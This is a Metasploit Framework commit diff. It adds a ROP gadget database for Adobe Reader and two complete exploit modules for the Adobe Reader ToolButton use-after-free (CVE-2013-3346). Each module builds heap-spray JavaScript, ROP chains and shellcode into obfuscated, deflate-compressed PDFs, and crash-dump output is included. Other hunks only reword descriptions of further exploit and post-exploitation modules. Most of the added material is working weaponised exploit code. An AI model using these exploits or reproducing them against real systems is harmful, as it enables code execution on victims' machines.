Merge remote-tracking branch 'upstream/master' into extapi_service_post

bug/bundler_fix
Meatballs 2013-12-17 01:54:24 +00:00
commit c2dd174e3c
10 changed files with 872 additions and 23 deletions

132
data/ropdb/reader.xml Normal file
View File

@ -0,0 +1,132 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>9</target>
</compatibility>
<gadgets base="0x4a800000">
<gadget offset="0x2313d">pop ecx # ret</gadget>
<gadget offset="0x2a713">push eax # pop esp # ret</gadget>
<gadget offset="0x01f90">pop eax # ret</gadget>
<gadget offset="0x49038">ptr to CreateFileMappingA()</gadget>
<gadget offset="0x07e7d">call [eax] # ret</gadget>
<gadget value="0xffffffff">HANDLE hFile</gadget>
<gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
<gadget value="0x00000040">DWORD flProtect</gadget>
<gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
<gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
<gadget value="0x00000000">LPCTSTR lpName</gadget>
<gadget offset="0x0155a">pop edi # ret</gadget>
<gadget offset="0x43a84">pop ebp # pop ebx # pop ecx # ret</gadget>
<gadget offset="0x2d4de">pop ebx # ret</gadget>
<gadget offset="0x01f90">pop eax # ret</gadget>
<gadget offset="0x476aa">pop ecx # ret</gadget>
<gadget offset="0x49030">ptr to MapViewOfFile()</gadget>
<gadget offset="0x44122">mov edx, ecx</gadget>
<gadget offset="0x476aa">pop ecx # ret</gadget>
<gadget offset="0x07e7d">call [eax] # ret</gadget>
<gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
<gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
<gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
<gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
<gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
<gadget offset="0x43a82">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
<gadget offset="0x46c5e">jmp IAT msvcr80!memcpy</gadget>
<gadget offset="0x476ab">ret</gadget>
<gadget value="junk">JUNK</gadget>
<gadget value="0x00000400">memcpy length</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x17984">xchg eax, ebp # ret</gadget>
<gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>10</target>
</compatibility>
<gadgets base="0x4a800000">
<gadget offset="0x26015">pop ecx # ret</gadget>
<gadget offset="0x2e090">push eax # pop esp # ret</gadget>
<gadget offset="0x2007d">pop eax # ret</gadget>
<gadget offset="0x50038">ptr to CreateFileMappingA()</gadget>
<gadget offset="0x246d5">call [eax] # ret</gadget>
<gadget value="0xffffffff">HANDLE hFile</gadget>
<gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
<gadget value="0x00000040">DWORD flProtect</gadget>
<gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
<gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
<gadget value="0x00000000">LPCTSTR lpName</gadget>
<gadget offset="0x05016">pop edi # ret</gadget>
<gadget offset="0x4420c">pop ebp # pop ebx # pop ecx # ret</gadget>
<gadget offset="0x14241">pop ebx # ret</gadget>
<gadget offset="0x2007d">pop eax # ret</gadget>
<gadget offset="0x26015">pop ecx # ret</gadget>
<gadget offset="0x50030">ptr to MapViewOfFile()</gadget>
<gadget offset="0x4b49d">mov edx, ecx</gadget>
<gadget offset="0x26015">pop ecx # ret</gadget>
<gadget offset="0x246d5">call [eax] # ret</gadget>
<gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
<gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
<gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
<gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
<gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
<gadget offset="0x14013">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
<gadget offset="0x4e036">jmp to IAT msvcr90!memcpy</gadget>
<gadget offset="0x2a8df">ret</gadget>
<gadget value="junk">JUNK</gadget>
<gadget value="0x00000400">memcpy length</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x18b31">xchg eax, ebp # ret</gadget>
<gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>11</target>
</compatibility>
<gadgets base="0x4a800000">
<gadget offset="0x5822c">pop ecx # ret</gadget>
<gadget offset="0x2f129">push eax # pop esp # ret</gadget>
<gadget offset="0x5597f">pop eax # ret</gadget>
<gadget offset="0x66038">ptr to CreateFileMappingA()</gadget>
<gadget offset="0x3f1d5">call [eax] # ret</gadget>
<gadget value="0xffffffff">HANDLE hFile</gadget>
<gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
<gadget value="0x00000040">DWORD flProtect</gadget>
<gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
<gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
<gadget value="0x00000000">LPCTSTR lpName</gadget>
<gadget offset="0x55093">pop edi # ret</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x50030">pop ebx # pop esi # pop ebp # ret</gadget>
<gadget offset="0x5597f">pop eax # ret</gadget>
<gadget offset="0x50031">pop esi # pop ebp # ret</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x5822c">pop ecx # ret</gadget>
<gadget offset="0x3f1d5">call [eax] # ret</gadget>
<gadget offset="0x5d4f8">pop edx # ret</gadget>
<gadget offset="0x66030">ptr to MapViewOfFile()</gadget>
<gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
<gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
<gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
<gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
<gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
<gadget offset="0x14856">pop edi # pop esi # pop ebp # ret</gadget>
<gadget offset="0x505a0">memcpy address</gadget>
<gadget offset="0x60bc4">call eax # ret</gadget>
<gadget offset="0x505a0">memcpy address</gadget>
<gadget offset="0x1c376">xchg eax, ebp # ret</gadget>
<gadget offset="0x463d0">pop ebx # ret</gadget>
<gadget value="0x00000400">memcpy length</gadget>
<gadget offset="0x5d4f8">pop edx # ret</gadget>
<gadget offset="0x5d4f8">pop edx # ret</gadget>
<gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
</gadgets>
</rop>
</db>

View File

@ -17,11 +17,14 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Adobe ColdFusion 9 Administrative Login Bypass',
'Description' => %q{
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Its password can
by default or by misconfiguration be set to an empty value. This allows you to create a session via the RDS login that
can be carried over to the admin web interface even though the passwords might be different. Therefore bypassing
authentication on the admin web interface which then could lead to arbitrary code execution.
Tested on Windows and Linux with ColdFusion 9.
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
attackers to bypass authentication using the RDS component. Due to
default settings or misconfiguration, its password can be set to an
empty value. This allows an attacker to create a session via the RDS
login that can be carried over to the admin web interface even though
the passwords might be different, and therefore bypassing authentication
on the admin web interface leading to arbitrary code execution. Tested
on Windows and Linux with ColdFusion 9.
},
'Author' =>
[

View File

@ -0,0 +1,354 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Reader ToolButton Use After Free",
'Description' => %q{
This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
the cEnable callback can be used to early free the object memory. Later use of the object
allows triggering the use after free condition. This module has been tested successfully
on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in
November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order
to exploit Adobe Reader 9 the fileformat version of the exploit can be used.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Soroush Dalili', # Vulnerability discovery
'Unknown', # Exploit in the wild
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-3346' ],
[ 'OSVDB', '96745' ],
[ 'ZDI', '13-212' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:os_flavor => Msf::OperatingSystems::WindowsVersions::XP,
:ua_name => Msf::HttpClients::IE
},
'Targets' =>
[
[ 'Windows XP / IE / Adobe Reader 10/11', { } ],
],
'Privileged' => false,
'DisclosureDate' => "Aug 08 2013",
'DefaultTarget' => 0))
end
def on_request_exploit(cli, request, target_info)
print_status("request: #{request.uri}")
js_data = make_js(cli, target_info)
# Create the pdf
pdf = make_pdf(js_data)
print_status("Sending PDF...")
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })
end
def make_js(cli, target_info)
# CreateFileMappingA + MapViewOfFile + memcpy rop chain
rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
escaped_payload = Rex::Text.to_unescape(get_payload(cli, target_info))
js = %Q|
function heapSpray(str, str_addr, r_addr) {
var aaa = unescape("%u0c0c");
aaa += aaa;
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
var i1 = r_addr - 0x24;
var bbb = aaa.substring(0, i1 / 2);
var sa = str_addr;
while (sa.length < (0x0c0c - r_addr)) sa += sa;
bbb += sa;
bbb += aaa;
var i11 = 0x0c0c - 0x24;
bbb = bbb.substring(0, i11 / 2);
bbb += str;
bbb += aaa;
var i2 = 0x4000 + 0xc000;
var ccc = bbb.substring(0, i2 / 2);
while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
var i3 = (0x1020 - 0x08) / 2;
var ddd = ccc.substring(0, 0x80000 - i3);
var eee = new Array();
for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
return;
}
var shellcode = unescape("#{escaped_payload}");
var executable = "";
var rop10 = unescape("#{rop_10}");
var rop11 = unescape("#{rop_11}");
var r11 = false;
var vulnerable = true;
var obj_size;
var rop;
var ret_addr;
var rop_addr;
var r_addr;
if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
obj_size = 0x360 + 0x1c;
rop = rop10;
rop_addr = unescape("%u08e4%u0c0c");
r_addr = 0x08e4;
ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
r11 = true;
obj_size = 0x370;
rop = rop11;
rop_addr = unescape("%u08a8%u0c0c");
r_addr = 0x08a8;
ret_addr = unescape("%u8003%u4a84");
} else {
vulnerable = false;
}
if (vulnerable) {
var payload = rop + shellcode;
heapSpray(payload, ret_addr, r_addr);
var part1 = "";
if (!r11) {
for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
}
part1 += rop_addr;
var part2 = "";
var part2_len = obj_size - part1.length * 2;
for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
var arr = new Array();
removeButtonFunc = function () {
app.removeToolButton({
cName: "evil"
});
for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
}
addButtonFunc = function () {
app.addToolButton({
cName: "xxx",
cExec: "1",
cEnable: "removeButtonFunc();"
});
}
app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
});
}
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj \n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js)
xref = []
eol = "\n"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(4) << eol
# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load
pdf << nObfu("/AcroForm ") << ioRef(6) << eol
pdf << nObfu(">>") << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj
# page 1
xref << pdf.length
pdf << ioDef(3) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj
# js action
xref << pdf.length
pdf << ioDef(4) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5)
pdf << nObfu(">>") << eol
pdf << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
###
# The following form related data is required to get icucnv36.dll / icucnv40.dll to load
###
# form object
xref << pdf.length
pdf << ioDef(6)
pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol
pdf << endobj
# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj
###
# end form stuff for icucnv36.dll / icucnv40.dll
###
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end
=begin
* crash Adobe Reader 10.1.4
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001
eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
AcroRd32_60000000!PDFLTerm+0xbb7cd:
604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????
* crash Adobe Reader 11.0.2
(940.d70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -
eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000
eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
AcroRd32_60000000!DllCanUnloadNow+0x1493ae:
60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????
=end

View File

@ -0,0 +1,361 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::RopDb
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader ToolButton Use After Free',
'Description' => %q{
This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
the cEnable callback can be used to early free the object memory. Later use of the object
allows triggering the use after free condition. This module has been tested successfully
on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in
November, 2013.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Soroush Dalili', # Vulnerability discovery
'Unknown', # Exploit in the wild
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-3346' ],
[ 'OSVDB', '96745' ],
[ 'ZDI', '13-212' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP / Adobe Reader 9/10/11', { }],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 08 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
js_data = make_js
# Create the pdf
pdf = make_pdf(js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def make_js
# CreateFileMappingA + MapViewOfFile + memcpy rop chain
rop_9 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '9' }))
rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
escaped_payload = Rex::Text.to_unescape(payload.encoded)
js = %Q|
function heapSpray(str, str_addr, r_addr) {
var aaa = unescape("%u0c0c");
aaa += aaa;
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
var i1 = r_addr - 0x24;
var bbb = aaa.substring(0, i1 / 2);
var sa = str_addr;
while (sa.length < (0x0c0c - r_addr)) sa += sa;
bbb += sa;
bbb += aaa;
var i11 = 0x0c0c - 0x24;
bbb = bbb.substring(0, i11 / 2);
bbb += str;
bbb += aaa;
var i2 = 0x4000 + 0xc000;
var ccc = bbb.substring(0, i2 / 2);
while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
var i3 = (0x1020 - 0x08) / 2;
var ddd = ccc.substring(0, 0x80000 - i3);
var eee = new Array();
for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
return;
}
var shellcode = unescape("#{escaped_payload}");
var executable = "";
var rop9 = unescape("#{rop_9}");
var rop10 = unescape("#{rop_10}");
var rop11 = unescape("#{rop_11}");
var r11 = false;
var vulnerable = true;
var obj_size;
var rop;
var ret_addr;
var rop_addr;
var r_addr;
if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {
obj_size = 0x330 + 0x1c;
rop = rop9;
ret_addr = unescape("%ua83e%u4a82");
rop_addr = unescape("%u08e8%u0c0c");
r_addr = 0x08e8;
} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
obj_size = 0x360 + 0x1c;
rop = rop10;
rop_addr = unescape("%u08e4%u0c0c");
r_addr = 0x08e4;
ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
r11 = true;
obj_size = 0x370;
rop = rop11;
rop_addr = unescape("%u08a8%u0c0c");
r_addr = 0x08a8;
ret_addr = unescape("%u8003%u4a84");
} else {
vulnerable = false;
}
if (vulnerable) {
var payload = rop + shellcode;
heapSpray(payload, ret_addr, r_addr);
var part1 = "";
if (!r11) {
for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
}
part1 += rop_addr;
var part2 = "";
var part2_len = obj_size - part1.length * 2;
for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
var arr = new Array();
removeButtonFunc = function () {
app.removeToolButton({
cName: "evil"
});
for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
}
addButtonFunc = function () {
app.addToolButton({
cName: "xxx",
cExec: "1",
cEnable: "removeButtonFunc();"
});
}
app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
});
}
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj \n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js)
xref = []
eol = "\n"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(4) << eol
# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load
pdf << nObfu("/AcroForm ") << ioRef(6) << eol
pdf << nObfu(">>") << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj
# page 1
xref << pdf.length
pdf << ioDef(3) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj
# js action
xref << pdf.length
pdf << ioDef(4) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5)
pdf << nObfu(">>") << eol
pdf << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
###
# The following form related data is required to get icucnv36.dll / icucnv40.dll to load
###
# form object
xref << pdf.length
pdf << ioDef(6)
pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol
pdf << endobj
# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj
###
# end form stuff for icucnv36.dll / icucnv40.dll
###
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end
=begin
* crash Adobe Reader 10.1.4
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001
eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
AcroRd32_60000000!PDFLTerm+0xbb7cd:
604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????
* crash Adobe Reader 11.0.2
(940.d70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -
eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000
eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
AcroRd32_60000000!DllCanUnloadNow+0x1493ae:
60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????
=end

View File

@ -19,10 +19,10 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'HP LoadRunner EmulationAdmin Web Service Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability on the version 11.52 of HP
LoadRunner. The vulnerability exists on the EmulationAdmin web service, specifically
in the copyFileToServer method, allowing to upload arbitrary files. This module has
been tested successfully on HP LoadRunner 11.52 over Windows 2003 SP2.
This module exploits a directory traversal vulnerability in version 11.52 of HP
LoadRunner. The vulnerability exists in the EmulationAdmin web service, specifically
in the copyFileToServer method, allowing the upload of arbitrary files. This module has
been tested successfully on HP LoadRunner 11.52 on Windows 2003 SP2.
},
'Author' =>
[

View File

@ -18,10 +18,10 @@ class Metasploit3 < Msf::Exploit::Local
'Name' => 'Microsoft Windows ndproxy.sys Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited on the wild on November 2013. The vulnerability exists while
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
to unsafely access an array, and the value is used to perform a call, leading to a NULL
pointer dereference, which is exploitable on both Windows XP and Windows 2003 systems. This
to access an array unsafely, and the value is used to perform a call, leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
work the service "Routing and Remote Access" must be running on the target system.
},

View File

@ -26,12 +26,11 @@ class Metasploit3 < Msf::Exploit::Local
'Description' => %q{
The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
interact with the service. It contains a stacked based buffer overflow as a result
of a memmove operation.
N.B. exe is nvvsvc.exe, service is nvsvc and pipe is nsvr!
of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',
the service name is 'nvsvc', and the named pipe is 'nsvr'.
This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
It has been tested on Win7 x64 against nvvsvc.exe dated Dec 1 2012.
It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.
},
'License' => MSF_LICENSE,
'Author' =>

View File

@ -13,9 +13,9 @@ class Metasploit3 < Msf::Post
super( update_info( info,
'Name' => 'Multi Manage Youtube Broadcast',
'Description' => %q{
This module will broadcast a Youtube video on all compromised systems. It will play
This module will broadcast a Youtube video on specified compromised systems. It will play
the video in the target machine's native browser in full screen mode. The VID datastore
option is the "v" parameter in your Youtube video's URL.
option is the "v" parameter in a Youtube video's URL.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
@ -70,6 +70,7 @@ class Metasploit3 < Msf::Post
#
# The Linux version uses Firefox
# TODO: Try xdg-open?
#
def linux_start_video(id)
begin

View File

@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post
'Name' => 'Windows Manage Proxy PAC File',
'Description' => %q{
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
option, a PAC file will be created in the victim host. It's also possible to provide a
option, a PAC file will be created on the victim host. It's also possible to provide a
remote PAC file (REMOTE_PAC option) by providing the full URL.
},
'License' => MSF_LICENSE,

View File

